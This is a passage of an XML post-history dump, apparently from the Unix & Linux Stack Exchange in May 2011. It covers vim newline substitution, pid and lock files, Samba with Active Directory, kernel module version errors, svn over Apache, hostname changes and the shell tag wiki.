  <row Id="31487" PostHistoryTypeId="3" PostId="12812" RevisionGUID="efc5b267-e0a0-46ea-a7b3-38220aa27682" CreationDate="2011-05-07T20:19:30.873" UserId="5709" Text="évimàésedàéregexà" />
  <row Id="31488" PostHistoryTypeId="2" PostId="12813" RevisionGUID="ba3cb6d4-c827-40f2-85ed-21b094e89942" CreationDate="2011-05-07T20:24:27.227" UserId="1925" Text="If you aren't firing vim or sed for some other use, cat actually has an easy builtin way to collapse multiple blank lines, just use `cat -s`.&#xD;&#xA;&#xD;&#xA;If you were already in vim and wanted to stay there, you could do this with the internal search and replace by issuing: `:%s!\n\n\n+!^M^M!g` (The ^M is the visual representation of a newline, you can enter it by hitting &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;v&lt;/kbd&gt;&lt;kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;), or save yourself the typing by just shelling out to cat: `:%!cat -s`." />
  <row Id="31489" PostHistoryTypeId="2" PostId="12814" RevisionGUID="98499dce-b79e-4bd1-9fe6-c51e9e817ce0" CreationDate="2011-05-07T20:30:22.730" UserId="885" Text="Use `\n` to indicate a newline in the search pattern. Use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt; in the replacement text, or a backreference. See [`:help pattern`](http://vimdoc.sourceforge.net/htmldoc/pattern.html#pattern) and [`:help sub-replace-special`](http://vimdoc.sourceforge.net/htmldoc/change.html#sub-replace-special) (linked from [`:help :s`](http://vimdoc.sourceforge.net/htmldoc/change.html#:substitute)).&#xD;&#xA;&#xD;&#xA;    %s/\(\n\n\)\n\+/\1/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31490" PostHistoryTypeId="5" PostId="12813" RevisionGUID="142876b5-7325-4c18-a223-1f764ee55bbf" CreationDate="2011-05-07T20:34:23.320" UserId="1925" Comment="added 1 characters in body" Text="If you aren't firing vim or sed for some other use, cat actually has an easy builtin way to collapse multiple blank lines, just use `cat -s`.&#xD;&#xA;&#xD;&#xA;If you were already in vim and wanted to stay there, you could do this with the internal search and replace by issuing: `:%s!\n\n\n\+!^M^M!g` (The ^M is the visual representation of a newline, you can enter it by hitting &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;v&lt;/kbd&gt;&lt;kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;), or save yourself the typing by just shelling out to cat: `:%!cat -s`." />
  <row Id="31491" PostHistoryTypeId="2" PostId="12815" RevisionGUID="3a518e83-e56a-448b-9f07-3b10620f5eae" CreationDate="2011-05-07T20:19:53.023" UserId="2657" Text="I often see that programs specify pid and lock files. And I'm not quite sure what it does.&#xD;&#xA;&#xD;&#xA;For example  - when compiling nginx:&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;     --pid-path=/var/run/nginx.pid \&#xD;&#xA;      --lock-path=/var/lock/nginx.lock \&#xD;&#xA;&#xD;&#xA;Can somebody shed some light on this one. &#xD;&#xA;&#xD;&#xA;Thanks:)" />
  <row Id="31492" PostHistoryTypeId="1" PostId="12815" RevisionGUID="3a518e83-e56a-448b-9f07-3b10620f5eae" CreationDate="2011-05-07T20:19:53.023" UserId="2657" Text="Why are pid and lock files for?" />
  <row Id="31493" PostHistoryTypeId="3" PostId="12815" RevisionGUID="3a518e83-e56a-448b-9f07-3b10620f5eae" CreationDate="2011-05-07T20:19:53.023" UserId="2657" Text="élockà" />
  <row Id="31494" PostHistoryTypeId="17" PostId="12815" RevisionGUID="d4985b66-dc9f-4695-aa5c-ffca1196b838" CreationDate="2011-05-07T20:41:18.230" UserId="-1" Comment="from http://serverfault.com/questions/267366/why-are-pid-and-lock-files-for" Text="" />
  <row Id="31495" PostHistoryTypeId="2" PostId="12816" RevisionGUID="90929f0b-2d41-4eda-b443-2ecdeb0ba821" CreationDate="2011-05-07T20:46:03.393" UserId="1925" Text="These files are often used by daemons that should only be run once on a system. The PID file usually contains the process ID number of the already launched and running program if one exists. Also, when it starts up, it creates the lock file. As long as the lock file exists, it won't start another one without user intervention. If the lock file exists and the process id mentioned in the pid file isn't running, the daemon is considered to be in a &quot;dead&quot; state, meaning it's supposed to be running but isn't probably due to a crash or improper shutdown. This might initiate a special startup / restart scenario for some programs. Properly shutting it down will remove the lock file." />
  <row Id="31496" PostHistoryTypeId="2" PostId="12817" RevisionGUID="ec398725-c2c2-455f-bb07-806a1f9ee59a" CreationDate="2011-05-07T20:47:21.790" UserId="591" Text="A PID file will contain the Process ID of a running process. This has various uses; you can read it and check that the process is still running and take appropriate action or read it and kill the process. &#xD;&#xA;&#xD;&#xA;A lock file is most likely application specific. Lock files are used to indicate that some resource is in use and that the process wanting access should wait until the resource is freed before continuing." />
  <row Id="31497" PostHistoryTypeId="5" PostId="12815" RevisionGUID="e5572eba-c8e9-4825-8839-66dd19402849" CreationDate="2011-05-07T20:48:58.180" UserId="1925" Comment="deleted 19 characters in body" Text="I often see that programs specify pid and lock files. And I'm not quite sure what they do.&#xD;&#xA;&#xD;&#xA;For example, when compiling nginx:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    --pid-path=/var/run/nginx.pid \&#xD;&#xA;    --lock-path=/var/lock/nginx.lock \&#xD;&#xA;&#xD;&#xA;Can somebody shed some light on this one?&#xD;&#xA;" />
  <row Id="31498" PostHistoryTypeId="2" PostId="12818" RevisionGUID="7bbbccb0-4464-4d54-bfb2-b76cef75065e" CreationDate="2011-05-07T20:50:18.990" UserId="3389" Text="pid files are written by some programs to record their process ID while they are starting.  This has multiple purposes:&#xD;&#xA;&#xD;&#xA;- It's a signal to other processes and users of the system that that particular program is running, or at least started successfully.&#xD;&#xA;- It allows one to write a script really easy to check if it's running and issue a plain `kill` command if one wants to end it.&#xD;&#xA;- It's a cheap way for a program to see if a previous running instance of it did not exit successfully.&#xD;&#xA;&#xD;&#xA;Mere presence of a pid file doesn't guarantee that that particular process id is running, of course, so this method isn't 100% foolproof but &quot;good enough&quot; in a lot of instances.  Checking if a particular PID exists in the process table isn't totally portable across UNIX-like operating systems unless you want to depend on the `ps` utility, which may not be desirable to call in all instances (and I believe some UNIX-like operating systems implement `ps` differently anyway).&#xD;&#xA;&#xD;&#xA;Lock files are used by programs to ensure two (well-behaved) separate instances of a program, which may be running concurrently on one system, don't access something else at the same time.  The idea is before the program accesses its resource, it checks for presence of a lock file, and if the lock file exists, either error out or wait for it to go away.  When it doesn't exist, the program wanting to &quot;acquire&quot; the resource creates the file, and then other instances that might come across later will wait for this process to be done with it.  Of course, this assumes the program &quot;acquiring&quot; the lock does in fact release it and doesn't forget to delete the lock file.&#xD;&#xA;&#xD;&#xA;This works because the filesystem under all UNIX-like operating systems enforces *serialization*, which means only one change to the filesystem actually happens at any given time.  Sort of like locks with databases and such.&#xD;&#xA;" />
  <row Id="31499" PostHistoryTypeId="6" PostId="12815" RevisionGUID="c7ac37cb-bd55-4184-94cb-42dc0f4ca574" CreationDate="2011-05-07T21:07:07.220" UserId="885" Comment="edited tags" Text="élockàépidfileà" />
  <row Id="31500" PostHistoryTypeId="25" PostId="12815" RevisionGUID="bee9fa46-accc-4ff2-83b3-d4e5b7d757bd" CreationDate="2011-05-07T21:11:33.023" Comment="http://twitter.com/#!/StackUnix/status/66973465420382208" />
  <row Id="31501" PostHistoryTypeId="6" PostId="11622" RevisionGUID="2e2e8024-1b26-4dec-909e-ad291dcf98a8" CreationDate="2011-05-07T21:21:30.130" UserId="29" Comment="add xattr tag for extended file attributes" Text="éfilesystemsàéfilesàéxattrà" />
  <row Id="31502" PostHistoryTypeId="5" PostId="12724" RevisionGUID="87d56ead-84f1-48d7-b582-8e439cd19d0b" CreationDate="2011-05-07T22:24:52.557" UserId="7226" Comment="added 74 characters in body" Text="Ok, I got it&#xD;&#xA;&#xD;&#xA;    1 {&#xD;&#xA;        #hold the line&#xD;&#xA;        h&#xD;&#xA;        #extract id&#xD;&#xA;        s|^([0-9]{6}).*|\1|; p&#xD;&#xA;        #put line back again&#xD;&#xA;        g&#xD;&#xA;        #get datetime&#xD;&#xA;        $sed_str&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;this part of the sed script will print (and edit) the first line twice" />
  <row Id="31503" PostHistoryTypeId="6" PostId="3669" RevisionGUID="489b35b1-1aaa-4706-a6a4-1f4ddb99a0fb" CreationDate="2011-05-07T22:30:31.113" UserId="29" Comment="xattr tag" Text="éfilesystemsàépermissionsàéxattrà" />
  <row Id="31504" PostHistoryTypeId="6" PostId="3634" RevisionGUID="9a8f7e9b-3351-44c8-8687-1b3e2799e4ac" CreationDate="2011-05-07T22:30:56.197" UserId="29" Comment="xattr tag" Text="élinuxàéfilesystemsàépermissionsàéxattrà" />
  <row Id="31505" PostHistoryTypeId="2" PostId="12819" RevisionGUID="e8bcd6c2-98c3-41aa-8209-b9ebe4502db6" CreationDate="2011-05-07T23:54:09.123" UserId="29" Text="&lt;blockquote&gt;yes, the user name is visible publicly. You can pick a pseudonym if you like, but the name has to be unique, and will be visible to the other users&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;In addition to what [@gilles](http://unix.stackexchange.com/users/885/gilles) has already stated. The primary key, unique identifier of a user is the `uid` which is the 3rd field in the password file, or in the below example the *'1000`*&#xD;&#xA;&#xD;&#xA;    xenoterracide:x:1000:100::/home/xenoterracide:/bin/zsh&#xD;&#xA;&#xD;&#xA;to create another user that's effectively the same you could add&#xD;&#xA;&#xD;&#xA;    bob:x:1000:100::/home/xenoterracide:/bin/zsh&#xD;&#xA;&#xD;&#xA;which has the same `uid` therefore is the same user. So unix uses an integer (or is it a short) to denote the actual `user id`. No hashes are needed outside of the users password.&#xD;&#xA;&#xD;&#xA;The password is hashed, but what type of hash is defined by pam configuration, in my case I'm using sha512.&#xD;&#xA;&#xD;&#xA;    password required        pam_unix.so sha512 shadow nullok&#xD;&#xA;" />
  <row Id="31506" PostHistoryTypeId="25" PostId="12802" RevisionGUID="e1738871-f372-462c-8d08-ddb5c9e8a835" CreationDate="2011-05-08T00:11:32.597" Comment="http://twitter.com/#!/StackUnix/status/67018762645286912" />
  <row Id="31507" PostHistoryTypeId="2" PostId="12820" RevisionGUID="e62e479a-85e2-4d06-ab15-2cab536678b9" CreationDate="2011-05-08T00:59:58.993" UserId="4193" Text="I am looking for howtos or instructions on setting up Samba to use an AD server for authentication instead of using a Samba password file.  Pointers to documentation helpful, especially the right document to look at on http://samba.org/samba/docs/ .  " />
  <row Id="31508" PostHistoryTypeId="1" PostId="12820" RevisionGUID="e62e479a-85e2-4d06-ab15-2cab536678b9" CreationDate="2011-05-08T00:59:58.993" UserId="4193" Text="Setting up Samba to use AD server for authentication?" />
  <row Id="31509" PostHistoryTypeId="3" PostId="12820" RevisionGUID="e62e479a-85e2-4d06-ab15-2cab536678b9" CreationDate="2011-05-08T00:59:58.993" UserId="4193" Text="ésambaàéauthenticationàéactivedirectoryà" />
  <row Id="31510" PostHistoryTypeId="4" PostId="12815" RevisionGUID="6a764039-37c7-44b9-a31a-4ce6fcd4f92f" CreationDate="2011-05-08T01:34:51.743" UserId="2657" Comment="edited title" Text="What are pid and lock files for?" />
  <row Id="31511" PostHistoryTypeId="2" PostId="12821" RevisionGUID="1947783f-6fec-4c2a-9886-e1e5d07d8417" CreationDate="2011-05-08T03:10:31.163" UserId="6167" Text="It sounds like you want Samba to join to a Windows Server running Active Directory as a [Domain Member](http://samba.org/samba/docs/man/Samba-HOWTO-Collection/domain-member.html)  You will need to set-up Winbind as well using either pam_smb or pam_winbind. I can't remember exactly.  Lastly, you will need the winbind nss module activated in /etc/nsswitch.conf for passwd/groups." />
  <row Id="31512" PostHistoryTypeId="25" PostId="12812" RevisionGUID="2df1559a-1b40-48ec-afe2-2000adb9d855" CreationDate="2011-05-08T03:11:32.753" Comment="http://twitter.com/#!/StackUnix/status/67064060390281216" />
  <row Id="31513" PostHistoryTypeId="5" PostId="12789" RevisionGUID="e4967771-d61d-451d-8813-001b5115a6c8" CreationDate="2011-05-08T03:42:39.120" UserId="3169" Comment="correct misunderstanding about Ctrl+Backspace, which probably won't work" Text="I'll focus on &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Delete&lt;/kbd&gt; first.&#xD;&#xA;&#xD;&#xA;The zsh command to delete a whole word forwards is called `kill-word`.  By default it is bound to &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;How to make &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Delete&lt;/kbd&gt; do it too depends on which terminal emulator you are using.&#xD;&#xA;&#xD;&#xA;On my system, this works in xterm and Gnome Terminal:&#xD;&#xA;&#xD;&#xA;    bindkey -M emacs '^[[3;5~' kill-word&#xD;&#xA;&#xD;&#xA;and for urxvt, you should do:&#xD;&#xA;&#xD;&#xA;    bindkey -M emacs '^[[3^' kill-word&#xD;&#xA;&#xD;&#xA;If that doesn't work, try typing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Delete&lt;/kbd&gt; to see what the value is on your system.&#xD;&#xA;&#xD;&#xA;You could even add both of those together to your `.zshrc`, or use the output of `tput kDC5` instead of hard-coding the sequence.&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Backspace&lt;/kbd&gt; seems harder.&#xD;&#xA;&#xD;&#xA;On my system, pressing that is the same as pressing just &lt;kbd&gt;Backspace&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;If yours is the same, I think your best option is to use &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Backspace&lt;/kbd&gt; or &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;W&lt;/kbd&gt; instead." />
  <row Id="31515" PostHistoryTypeId="2" PostId="12823" RevisionGUID="cd613288-e06c-4362-a8e0-bd334edccd5b" CreationDate="2011-05-08T06:00:36.873" UserId="6709" Text="What you're asking for isn't possible. .desktop files are baked into GNOME." />
  <row Id="31516" PostHistoryTypeId="25" PostId="12807" RevisionGUID="ae672aae-a3b6-4601-881f-d2fb2fbf2a2e" CreationDate="2011-05-08T06:11:32.983" Comment="http://twitter.com/#!/StackUnix/status/67109359779463168" />
  <row Id="31517" PostHistoryTypeId="2" PostId="12824" RevisionGUID="500306b9-b3b8-4e16-be02-28dc1c66134a" CreationDate="2011-05-08T06:56:27.210" UserId="7314" Text="Hello.&#xD;&#xA;I downloaded the sources for my kernel, applied a patch and rebuilt it and now I have a kernel module that when I try to insmod it complains &quot;Unknown symbol in module&quot; with dmesg giving the error &quot;disagrees about the version of symbol ...&quot;.&#xD;&#xA;&#xD;&#xA;Without having to hunt down the source for this module and rebuild it against my kernel is it possible to somehow force the kernel to accept this module?&#xD;&#xA;&#xD;&#xA;I realise this would be dangerous but I'll to take the risk if its possible.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31518" PostHistoryTypeId="1" PostId="12824" RevisionGUID="500306b9-b3b8-4e16-be02-28dc1c66134a" CreationDate="2011-05-08T06:56:27.210" UserId="7314" Text="possible to load kernel module that &quot;disagrees about version of symbol&quot;" />
  <row Id="31519" PostHistoryTypeId="3" PostId="12824" RevisionGUID="500306b9-b3b8-4e16-be02-28dc1c66134a" CreationDate="2011-05-08T06:56:27.210" UserId="7314" Text="élinuxàékernelàékernelömodulesà" />
  <row Id="31521" PostHistoryTypeId="2" PostId="12825" RevisionGUID="9387b2d2-76dd-44e0-a844-1498df419160" CreationDate="2011-05-08T08:05:39.080" UserId="5763" Text="Serial port communication is always between 2 devices and **cannot be shared**. Only one application can hold the device at a time. But it is possible to snoop the communication i.e. monitor the data transmission." />
  <row Id="31522" PostHistoryTypeId="25" PostId="12824" RevisionGUID="d9754aa4-4205-4df1-b30e-2162fdd66693" CreationDate="2011-05-08T09:11:32.970" Comment="http://twitter.com/#!/StackUnix/status/67154658275229696" />
  <row Id="31523" PostHistoryTypeId="2" PostId="12826" RevisionGUID="67594f03-627c-41dd-840b-65c84bf1114d" CreationDate="2011-05-08T09:30:29.970" UserId="5842" Text="`insmod` isn't the best tool to load modules - use `modprobe` instead, it's smarter. In [`modprobe`'s man page](http://linux.die.net/man/8/modprobe), you'll find that it has a `--force` option which *might* load a module with conflicting version information.&#xD;&#xA;&#xD;&#xA;As you said, this is dangerous and should essentially never be used. You pick up the pieces if your system blows up." />
  <row Id="31524" PostHistoryTypeId="2" PostId="12827" RevisionGUID="42c5142a-27ea-488f-a293-5c2ccea8f967" CreationDate="2011-05-08T10:12:00.287" UserId="5770" Text="I'd say go with [Debian](http://www.debian.org/ports/powerpc/). It supports many architectures including ppc.&#xD;&#xA;&#xD;&#xA;Debian's quite user friendly and because it has a large user base, you'll probably get any questions you have answered quickly.&#xD;&#xA;&#xD;&#xA;Debian has a comprehensive [installation manual](http://www.debian.org/releases/stable/powerpc/).&#xD;&#xA;&#xD;&#xA;EDIT: I just came across [this site](http://penguinppc.org/mac/) which seems to have quite a bit of info for ppc GNU/Linux users." />
  <row Id="31526" PostHistoryTypeId="2" PostId="12828" RevisionGUID="a1632e63-964d-4c68-960d-f7e20cf5efe3" CreationDate="2011-05-08T11:28:36.917" UserId="7317" Text="Hi guys, i have followed this guide for setting up a subversion(svn) server and i cannot seem to access any repositries that i have creates and imported from a windows based svn repositry.&#xD;&#xA;&#xD;&#xA;In the past, i installed a windows app called visual SVN that allows me to run a svn server on a windows machine. i had lots of repositries i made for it with many projects in it and now i want to migrate all these into my ubuntu server.&#xD;&#xA;&#xD;&#xA;i followed this guide [url]https://help.ubuntu.com/8.04/serverguide/C/subversion.html[/url] And succesfuly installed svn, added a user and configured the apache 2 config file with this:&#xD;&#xA;&#xD;&#xA;[CODE] &#xD;&#xA;&#xD;&#xA;    &lt;Location /svn&gt;&#xD;&#xA;      DAV svn&#xD;&#xA;      SVNPath /windows/mediahdd1/Repositories/Spring&#xD;&#xA;      AuthType Basic&#xD;&#xA;      AuthName Spring projects&#xD;&#xA;      AuthUserFile /etc/subversion/passwd&#xD;&#xA;      &lt;LimitExcept GET PROPFIND OPTIONS REPORT&gt;&#xD;&#xA;      Require valid-user&#xD;&#xA;      &lt;/LimitExcept&gt;&#xD;&#xA;      &lt;/Location&gt;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;[/CODE]&#xD;&#xA;&#xD;&#xA;I also simply moved my Repositry(from my windows machine) folder into that svn path of /windows/mediahdd1.&#xD;&#xA;&#xD;&#xA;i first created a dummy repositry using the same guide i linked above and it creates exactly the same folders and files that i saw inside my own windows repositry, so i assumed that i can easily import my previous repositry folder and should work.&#xD;&#xA;&#xD;&#xA;Anyways the main issue i am having is i cant access my svn server from another machine using the http:// or https:// protocol.&#xD;&#xA;&#xD;&#xA;i am able to boot up a putty session and access it using this svn co file:///windows/mediahdd1/Repositories/Spring and it returns me what appears to be a list of files related to my project.&#xD;&#xA;&#xD;&#xA;How can i access this remotely? do i need to run svn or is it running? the guide doesnt explain how to run the svn server, all it states is how to install, create a repo, create users and different protocols you can use to access it but how do you access it remotely from say tortoise svn? the http link doesnt work and thats what i normally use to access a svn repo from tortois or another svn client.&#xD;&#xA;&#xD;&#xA;Any advice?&#xD;&#xA;&#xD;&#xA;Do i need to change port? what is  the default port for svn?  cheers in advance" />
  <row Id="31527" PostHistoryTypeId="1" PostId="12828" RevisionGUID="a1632e63-964d-4c68-960d-f7e20cf5efe3" CreationDate="2011-05-08T11:28:36.917" UserId="7317" Text="Subversion on Ubuntu server - setup issues" />
  <row Id="31528" PostHistoryTypeId="3" PostId="12828" RevisionGUID="a1632e63-964d-4c68-960d-f7e20cf5efe3" CreationDate="2011-05-08T11:28:36.917" UserId="7317" Text="ésubversionà" />
  <row Id="31529" PostHistoryTypeId="5" PostId="12828" RevisionGUID="eee2147c-ddfc-49f7-adfd-dd44e564f9f6" CreationDate="2011-05-08T11:51:55.813" UserId="885" Comment="grammar; formatting; tags" Text="I have followed a guide for setting up a subversion server and I cannot seem to access any repositries that I have created and imported from a Windows based svn repositry.&#xD;&#xA;&#xD;&#xA;In the past, I installed a Windows app called Visual SVN that allows me to run a svn server on a windows machine. i had lots of repositries i made for it with many projects in it and now i want to migrate all these into my ubuntu server.&#xD;&#xA;&#xD;&#xA;i followed [this guide](https://help.ubuntu.com/8.04/serverguide/C/subversion.html). And succesfuly installed svn, added a user and configured the apache 2 config file with this:&#xD;&#xA;&#xD;&#xA;    &lt;Location /svn&gt;&#xD;&#xA;      DAV svn&#xD;&#xA;      SVNPath /windows/mediahdd1/Repositories/Spring&#xD;&#xA;      AuthType Basic&#xD;&#xA;      AuthName Spring projects&#xD;&#xA;      AuthUserFile /etc/subversion/passwd&#xD;&#xA;      &lt;LimitExcept GET PROPFIND OPTIONS REPORT&gt;&#xD;&#xA;      Require valid-user&#xD;&#xA;      &lt;/LimitExcept&gt;&#xD;&#xA;      &lt;/Location&gt;&#xD;&#xA;&#xD;&#xA;I also simply moved my Repositry (from my Windows machine) folder into that svn path of `/windows/mediahdd1`.&#xD;&#xA;&#xD;&#xA;I first created a dummy repositry using the same guide I linked above and it creates exactly the same folders and files that I saw inside my own windows repositry, so I assumed that I can easily import my previous repositry folder and should work.&#xD;&#xA;&#xD;&#xA;Anyways the main issue I am having is I cant access my svn server from another machine using the http or https protocol.&#xD;&#xA;&#xD;&#xA;I am able to boot up a putty session and access it using `svn co file:///windows/mediahdd1/Repositories/Spring` and it returns me what appears to be a list of files related to my project.&#xD;&#xA;&#xD;&#xA;How can i access this remotely? Do i need to run svn or is it running? The guide doesnt explain how to run the svn server, all it states is how to install, create a repo, create users and different protocols you can use to access it but how do you access it remotely from say tortoise svn? The http link doesnt work and thats what i normally use to access a svn repo from tortois or another svn client.&#xD;&#xA;&#xD;&#xA;Any advice?&#xD;&#xA;&#xD;&#xA;Do i need to change port? what is  the default port for svn?&#xD;&#xA;" />
  <row Id="31530" PostHistoryTypeId="6" PostId="12828" RevisionGUID="eee2147c-ddfc-49f7-adfd-dd44e564f9f6" CreationDate="2011-05-08T11:51:55.813" UserId="885" Comment="grammar; formatting; tags" Text="éapacheàésubversionà" />
  <row Id="31531" PostHistoryTypeId="25" PostId="12828" RevisionGUID="8f6aeb11-0379-40b5-9003-39dedc452690" CreationDate="2011-05-08T12:11:32.890" Comment="http://twitter.com/#!/StackUnix/status/67199956548714496" />
  <row Id="31533" PostHistoryTypeId="6" PostId="3078" RevisionGUID="19bc62d2-022a-4891-9c26-c2b20471371f" CreationDate="2011-05-08T13:22:12.690" UserId="885" Comment="edited tags" Text="ésshàévncàétcpàéportöforwardingà" />
  <row Id="31534" PostHistoryTypeId="2" PostId="12829" RevisionGUID="6200d8f1-a963-4765-9c57-02eb6a61fa01" CreationDate="2011-05-08T13:22:44.523" UserId="7318" Text="I logged in for the first time, opened terminal, and typed in ‘hostname’. It returned ‘localhost.localdomain.com’. Then I logged as the root user in terminal using the command, ‘su –‘, provided the password for the root user and used the command ‘hostname etest’ where etest is the hostname I’d like my machine to have. To test if I got my hostname changed correctly, I typed ‘hostname’ again at terminal and it returned etest.&#xD;&#xA;&#xD;&#xA;However, when I restart my machine, the hostname reverts back to ‘localhost.localdomain.com’. &#xD;&#xA;&#xD;&#xA;Here are the entire series of commands I used in terminal.  &#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;        [thomasm@localhost ~]$ hostname  &#xD;&#xA;        localhost.localdomain  &#xD;&#xA;        [thomasm@localhost ~]$ su -  &#xD;&#xA;        Password:   &#xD;&#xA;        [root@localhost ~]# hostname etest  &#xD;&#xA;        [root@localhost ~]# hostname  &#xD;&#xA;        etest  &#xD;&#xA;        [root@localhost ~]#  &#xD;&#xA;&#xD;&#xA;I had run into the same problem when I set up RHEL and Ubuntu OS’s with VMPlayer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31535" PostHistoryTypeId="1" PostId="12829" RevisionGUID="6200d8f1-a963-4765-9c57-02eb6a61fa01" CreationDate="2011-05-08T13:22:44.523" UserId="7318" Text="How to change the hostname of a linux machine using terminal?" />
  <row Id="31536" PostHistoryTypeId="3" PostId="12829" RevisionGUID="6200d8f1-a963-4765-9c57-02eb6a61fa01" CreationDate="2011-05-08T13:22:44.523" UserId="7318" Text="éterminalàécentosàéhostnameà" />
  <row Id="31537" PostHistoryTypeId="6" PostId="9252" RevisionGUID="ef55f9f9-a75c-48bd-98d0-748aee2607b4" CreationDate="2011-05-08T13:25:00.580" UserId="885" Comment="edited tags" Text="énetworkingàéprocessàétcpàélsofà" />
  <row Id="31538" PostHistoryTypeId="6" PostId="10735" RevisionGUID="6d21c1b3-8e61-451e-b2b9-9f401b476987" CreationDate="2011-05-08T13:25:25.807" UserId="885" Comment="edited tags" Text="élinuxàénetworkingàépermissionsàétcpà" />
  <row Id="31539" PostHistoryTypeId="6" PostId="10428" RevisionGUID="36fcdd15-a42f-470d-93e3-2a2052eb38f1" CreationDate="2011-05-08T13:26:00.483" UserId="885" Comment="edited tags" Text="énetworkingàétcpàétunnelsàéportöforwardingà" />
  <row Id="31540" PostHistoryTypeId="6" PostId="6007" RevisionGUID="38276df6-c5f1-4b43-997a-e304ae48801e" CreationDate="2011-05-08T13:27:33.463" UserId="885" Comment="edited tags" Text="éhardwareàéwebcamàémicrophoneà" />
  <row Id="31541" PostHistoryTypeId="6" PostId="12359" RevisionGUID="60b10360-d828-4707-87a9-45ef30136406" CreationDate="2011-05-08T13:29:46.393" UserId="885" Comment="edited tags" Text="élinuxàéserialöportà" />
  <row Id="31542" PostHistoryTypeId="2" PostId="12830" RevisionGUID="627a3711-8eff-42b6-98bb-7d24f3a29941" CreationDate="2011-05-08T13:37:56.600" UserId="885" Text="&lt;sub&gt;*Combining the pieces left in comments by [Yasir Arsanukaev](http://unix.stackexchange.com/users/3226/yasir-arsanukaev) and [user3927](http://unix.stackexchange.com/users/3927/user3927)*&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;First, try&#xD;&#xA;&#xD;&#xA;    cd /usr/ports &amp;&amp; make clean&#xD;&#xA;    cd /usr/ports/ports-mgmt/portsnap &amp;&amp; make install clean&#xD;&#xA;    portsnap fetch update&#xD;&#xA;&#xD;&#xA;Then maybe upgrade Apache and PHP5 with `make deinstall reinstall`.&#xD;&#xA;&#xD;&#xA;Finally, reinstall `php5-pdo_mysql` with&#xD;&#xA;&#xD;&#xA;    cd /usr/ports/databases/php5-pdo_mysql &amp;&amp; make deinstall reinstall&#xD;&#xA;" />
  <row Id="31543" PostHistoryTypeId="16" PostId="12830" RevisionGUID="62da202d-dd49-44e2-bce6-5d8067687b57" CreationDate="2011-05-08T13:37:56.600" UserId="885" />
  <row Id="31545" PostHistoryTypeId="6" PostId="12829" RevisionGUID="ef25b952-2601-42d2-995f-5436df9d5623" CreationDate="2011-05-08T13:39:41.997" UserId="885" Comment="edited tags" Text="élinuxàécentosàéhostnameà" />
  <row Id="31546" PostHistoryTypeId="6" PostId="6296" RevisionGUID="b1a5617a-da64-474d-9e7a-809e842d87f7" CreationDate="2011-05-08T13:41:30.560" UserId="885" Comment="edited tags" Text="éosxàéfileösharingàénfsà" />
  <row Id="31547" PostHistoryTypeId="6" PostId="5316" RevisionGUID="fd3b8fa1-5b2d-4693-874b-28725cde7d24" CreationDate="2011-05-08T13:41:58.827" UserId="885" Comment="edited tags" Text="éasciiàédiagramàéfinanceà" />
  <row Id="31548" PostHistoryTypeId="5" PostId="5283" RevisionGUID="4cbd1e11-15de-4304-b43d-b0b2ec0f765b" CreationDate="2011-05-08T13:52:43.213" UserId="885" Comment="link to [tag:line-edition]" Text="The [shell](http://en.wikipedia.org/wiki/Shell_%28computing%29) is a program whose primary role is to enable the user to call *other* programs and make them interact. In a [unix](http://en.wikipedia.org/wiki/Unix_shell) context, a shell is almost always a command-line interpreter.&#xD;&#xA;&#xD;&#xA;More precisely, unless otherwise specified, a unix shell is compatible with the [POSIX / Single UNIX shell specification](http://pubs.opengroup.org/onlinepubs/009695399/idx/shell.html). Most unices have a such a shell available as `/bin/sh`.&#xD;&#xA;&#xD;&#xA;### Related tags&#xD;&#xA;&#xD;&#xA;* [tag:command-line] for when you want to do something without a GUI, and your question isn't particularly about the command interpreter&#xD;&#xA;* [tag:terminal] for questions about the surrounding text mode environment&#xD;&#xA;&#xD;&#xA;## Shell implementations&#xD;&#xA;&#xD;&#xA;### Main Bourne-style shells&#xD;&#xA;&#xD;&#xA;* The [Bourne shell](http://en.wikipedia.org/wiki/Bourne_shell) is one of the two surviving shells from the old days, now mostly superseded by various shells called ash, ksh and bash. The POSIX specification builds on the Bourne shell.&#xD;&#xA;* [tag:bash] [Bash](http://www.gnu.org/software/bash/) is a Bourne-style, POSIX-compliant shell from the [GNU](http://www.gnu.org/) project. It is the default interactive and scripting shell on most Linux distributions, and available on most other unices. Bash adds many features, both for scripting and for interactive use.&#xD;&#xA;* [tag:ksh] [Ksh](http://kornshell.com/) is a Bourne-style, POSIX-compliant shell. It adds many advanced features, mostly for scripting. Although ksh has been open-source since 2000, it is still less favored in the open source world, and there are several partial ksh clones.&#xD;&#xA;* [tag:zsh] [Zsh](http://www.zsh.org/) is mostly Bourne-style, but with a few syntactic differences. It has a POSIX emulation mode. It has many extra features, both for scripting and for interactive use.&#xD;&#xA;* [tag:busybox] [Busybox](http://www.busybox.net/) is a contains a mostly POSIX-compliant shell with some line edition capabilities together with many simple utilities. It is targetted towards embedded systems.&#xD;&#xA;&#xD;&#xA;### Other well-known shells&#xD;&#xA;&#xD;&#xA;* [tag:csh] 